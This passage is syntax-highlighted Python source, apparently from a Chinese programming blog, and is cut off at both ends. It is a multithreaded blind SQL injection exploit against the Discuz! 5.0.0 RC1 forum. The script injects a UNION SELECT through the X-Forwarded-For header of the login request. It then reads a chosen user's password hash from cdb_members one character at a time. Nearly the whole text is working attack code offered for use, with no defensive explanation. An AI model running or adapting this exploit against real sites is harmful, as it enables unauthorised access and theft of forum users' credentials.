#800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">11</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">12</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">13</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">14</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">15</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">16</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">17</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">18</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">19</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">20</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">21</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">22</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">23</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">24</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">25</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">26</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">27</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">28</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">29</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">30</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">31</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">32</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">class</span><span style="COLOR: #000000">&nbsp;creatthread&nbsp;(threading.Thread):<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">def</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">__init__</span><span style="COLOR: #000000">&nbsp;(self,&nbsp;threadname,&nbsp;url,&nbsp;u):<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.realurl&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;url<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.realu&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;u<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;threading.Thread.</span><span style="COLOR: #800080">__init__</span><span style="COLOR: #000000">(self,&nbsp;name&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;threadname)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">def</span><span style="COLOR: #000000">&nbsp;run&nbsp;(self):<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;lenth&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">32</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;injection(lenth,&nbsp;self.realurl,&nbsp;self.realu,&nbsp;self.getName())&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">def</span><span style="COLOR: #000000">&nbsp;&nbsp;injection&nbsp;(lenthofpass,&nbsp;realurl,&nbsp;path,&nbsp;num):<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ran&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;range(</span><span style="COLOR: #000000">97</span><span style="COLOR: #000000">,&nbsp;</span><span style="COLOR: #000000">123</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000">&nbsp;a&nbsp;</span><span style="COLOR: #0000ff">in</span><span style="COLOR: #000000">&nbsp;range(</span><span style="COLOR: #000000">48</span><span style="COLOR: #000000">,&nbsp;</span><span style="COLOR: #000000">58</span><span style="COLOR: #000000">):&nbsp;ran.append(a)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000">&nbsp;i&nbsp;</span><span style="COLOR: #0000ff">in</span><span style="COLOR: #000000">&nbsp;ran:<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;query&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">\</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">&nbsp;union&nbsp;select&nbsp;</span><span style="COLOR: #000000">122</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">122</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">122</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">122</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">122</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">122</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">122</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">122</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">from</span><span style="COLOR: #000000">&nbsp;cdb_members&nbsp;where&nbsp;uid</span><span style="COLOR: #000000">=</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">&nbsp;+&nbsp;sys.argv[2]&nbsp;+&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">&nbsp;AND&nbsp;ascii(substring(CONCAT(password),</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">&nbsp;+&nbsp;num&nbsp;+&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">))</span><span style="COLOR: #000000">=</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">&nbsp;+&nbsp;str(i)&nbsp;+&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">/*</span><span style="COLOR: #800000">'<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;header&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;{</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">Accept</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">image/gif,&nbsp;image/x-xbitmap,&nbsp;image/jpeg,&nbsp;image/pjpeg,&nbsp;application/x-shockwave-flash,&nbsp;application/vnd.ms-excel,&nbsp;application/vnd.ms-powerpoint,&nbsp;application/msword,&nbsp;*/*</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">Referer</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">http://</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">&nbsp;realurl[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]&nbsp;</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">&nbsp;path&nbsp;</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">logging.php?action=login</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">Accept-Language</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">zh-cn</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">Content-Type</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">application/x-www-form-urlencoded</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">User-Agent</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">Mozilla/4.0&nbsp;(compatible;&nbsp;MSIE&nbsp;6.0;&nbsp;Windows&nbsp;NT&nbsp;5.1;&nbsp;SV1;&nbsp;Maxthon)</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">Connection</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">Keep-Alive</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">Cache-Control</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">no-cache</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">X-Forwarded-For</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">:query,</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">Cookie</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">cdb_sid=70KRjS;&nbsp;cdb_cookietime=2592000</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;data&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">"</span><span style="COLOR: #800000">formhash=6a49b97f&amp;referer=discuz.php&amp;loginmode=&amp;styleid=&amp;cookietime=2592000&amp;loginfield=username&amp;username=test&amp;password=123456789&amp;questionid=0&amp;answer=&amp;loginsubmit=%E6%8F%90+%C2%A0+%E4%BA%A4</span><span style="COLOR: #800000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">print&nbsp;header</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">sys.exit(1)</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;httplib.HTTPConnection(realurl[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">])<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http.request(</span><span style="COLOR: #800000">"</span><span style="COLOR: #800000">POST</span><span style="COLOR: #800000">"</span><span style="COLOR: #000000">,&nbsp;path&nbsp;</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">"</span><span style="COLOR: #800000">logging.php?action=login&amp;</span><span style="COLOR: #800000">"</span><span style="COLOR: #000000">,data&nbsp;,&nbsp;header)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sleep(</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;response&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;http.getresponse()<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;re1&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;response.read()<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;re1.find(</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">SELECT</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">:<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">[-]&nbsp;Unvalnerable&nbsp;host</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">[-]&nbsp;Exit..</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sys.exit(</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">elif</span><span style="COLOR: #000000">&nbsp;re1.find(</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">ip3</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">:<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;password[int(num)]&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;chr(i)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">print&nbsp;'[+]&nbsp;password&nbsp;'&nbsp;+&nbsp;num&nbsp;+&nbsp;':&nbsp;'&nbsp;+&nbsp;chr(i)</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http.close()<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sleep(</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">break</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">print&nbsp;re1</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">print&nbsp;'-----------------------------------------------'</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http.close()<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sleep(</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">def</span><span style="COLOR: #000000">&nbsp;main&nbsp;():<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">Discuz!&nbsp;5.0.0&nbsp;RC1&nbsp;SQL&nbsp;injection&nbsp;exploit&nbsp;(MultiThread&nbsp;Version)</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">Codz&nbsp;by&nbsp;wofeiwo&nbsp;wofeiwo[0x40]gmail[0x2C]com\n</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;len(sys.argv)&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">3</span><span style="COLOR: #000000">:<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;url&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;urlparse(sys.argv[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">])<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;url[</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]&nbsp;</span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">/</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">:<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;u&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;url[</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">]&nbsp;</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">/</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000">:&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;u&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;url[</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">]<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000">:<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">"</span><span style="COLOR: #800000">Usage:&nbsp;%s&nbsp;&lt;url&gt;&nbsp;&lt;uid&gt;</span><span style="COLOR: #800000">"</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">%</span><span style="COLOR: #000000">&nbsp;sys.argv[0]<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">"</span><span style="COLOR: #800000">Example:&nbsp;%s&nbsp;http://127.0.0.1/dz/&nbsp;1</span><span style="COLOR: #800000">"</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">%</span><span style="COLOR: #000000">&nbsp;sys.argv[0]<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sys.exit(0)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">[+]&nbsp;Connect&nbsp;%s</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">%</span><span style="COLOR: #000000">&nbsp;url[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">[+]&nbsp;Begin&nbsp;threads<img src="http://www.phpweblog.net/Images/dot.gif"></span><span style="COLOR: #800000">'</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">[+]&nbsp;Plz&nbsp;wait&nbsp;a&nbsp;long&nbsp;long&nbsp;time<img src="http://www.phpweblog.net/Images/dot.gif"></span><span style="COLOR: #800000">'</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000">&nbsp;a&nbsp;</span><span style="COLOR: #0000ff">in</span><span style="COLOR: #000000">&nbsp;range(</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">33</span><span style="COLOR: #000000">)&nbsp;:<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;thread&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;creatthread(str(a),&nbsp;url,&nbsp;u)<br><img 